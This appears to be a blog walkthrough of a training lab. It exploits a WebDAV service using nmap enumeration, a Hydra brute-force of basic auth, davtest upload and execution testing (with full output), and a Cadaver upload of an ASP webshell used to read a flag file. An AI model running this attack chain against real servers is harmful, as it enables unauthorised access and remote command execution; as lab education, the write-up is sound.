boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Lab

Fingerprint the WebDAV service with the tools on the Kali machine, then exploit it with Davtest and Cadaver.

Davtest:

cadaver:

Objective: Exploit the service and retrieve the flag!

The following username and password may be used to access the service:

UsernamePassword
bobpassword_123321

Nmap Scan

nmap -sV -sC 10.3.26.103 --dissable-arp-ping

Enumerate WebDAV with Nmap

The http-enum script finds the /webdav/ directory.

nmap -sV -p80 10.3.26.103 --script=http-enum

Brute Force WebDAV with Hydra

Brute-force HTTP basic auth on the /webdav/ path.

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt 10.3.26.103 http-get /webdav/

Davtest Tool

With valid credentials, Davtest uploads test files of many types and reports which ones execute.

davtest -auth bob:password_123321 -url http://10.3.26.103/webdav
root@attackdefense:~# davtest -auth bob:password_123321 -url http://10.3.26.103/webdav
********************************************************
 Testing DAV connection
OPEN		SUCCEED:		http://10.3.26.103/webdav
********************************************************
NOTE	Random string for this session: AZMgwSnb
********************************************************
 Creating directory
MKCOL		SUCCEED:		Created http://10.3.26.103/webdav/DavTestDir_AZMgwSnb
********************************************************
 Sending test files
PUT	asp	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.asp
PUT	jhtml	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.jhtml
PUT	txt	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.txt
PUT	cfm	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.cfm
PUT	pl	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.pl
PUT	html	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.html
PUT	shtml	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.shtml
PUT	cgi	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.cgi
PUT	jsp	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.jsp
PUT	aspx	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.aspx
PUT	php	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.php
********************************************************
 Checking for test file execution
EXEC	asp	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.asp
EXEC	jhtml	FAIL
EXEC	txt	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.txt
EXEC	cfm	FAIL
EXEC	pl	FAIL
EXEC	html	SUCCEED:	http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.html
EXEC	shtml	FAIL
EXEC	cgi	FAIL
EXEC	jsp	FAIL
EXEC	aspx	FAIL
EXEC	php	FAIL

********************************************************
/usr/bin/davtest Summary:
Created: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.asp
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.jhtml
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.txt
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.cfm
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.pl
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.html
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.shtml
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.cgi
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.jsp
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.aspx
PUT File: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.php
Executes: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.asp
Executes: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.txt
Executes: http://10.3.26.103/webdav/DavTestDir_AZMgwSnb/davtest_AZMgwSnb.html

Uploading Shell with Cadaver

Connect with Cadaver, authenticate, and upload an ASP webshell.

cadaver http://10.3.26.103/webdav
authenticate login
put /usr/share/webshells/asp/webshell.asp

Grab the flag by typing type C:\flag.txt.